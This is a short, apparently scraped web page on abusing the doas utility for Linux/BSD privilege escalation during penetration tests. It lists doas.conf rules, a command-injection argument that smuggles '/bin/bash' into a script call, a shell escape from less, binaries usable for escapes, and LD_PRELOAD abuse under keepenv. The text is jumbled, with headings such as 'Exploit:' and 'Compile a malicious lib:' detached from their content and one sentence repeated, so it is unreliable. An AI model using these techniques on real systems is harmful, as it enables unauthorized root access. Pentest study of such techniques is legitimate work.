Hacktricks Doas 📥

In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf

#!/bin/sh doas /usr/bin/chown user "$1" Exploit:

Keep hacking. Keep escalating.

cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples:

permit keepenv user1 as root Compile a malicious lib: hacktricks doas

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

Unlike sudo , there’s no PAM, no plugin system, no logging madness — just permission rules. which doas command -v doas doas -V If installed, check the config: In this post, we’ll break down how doas

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.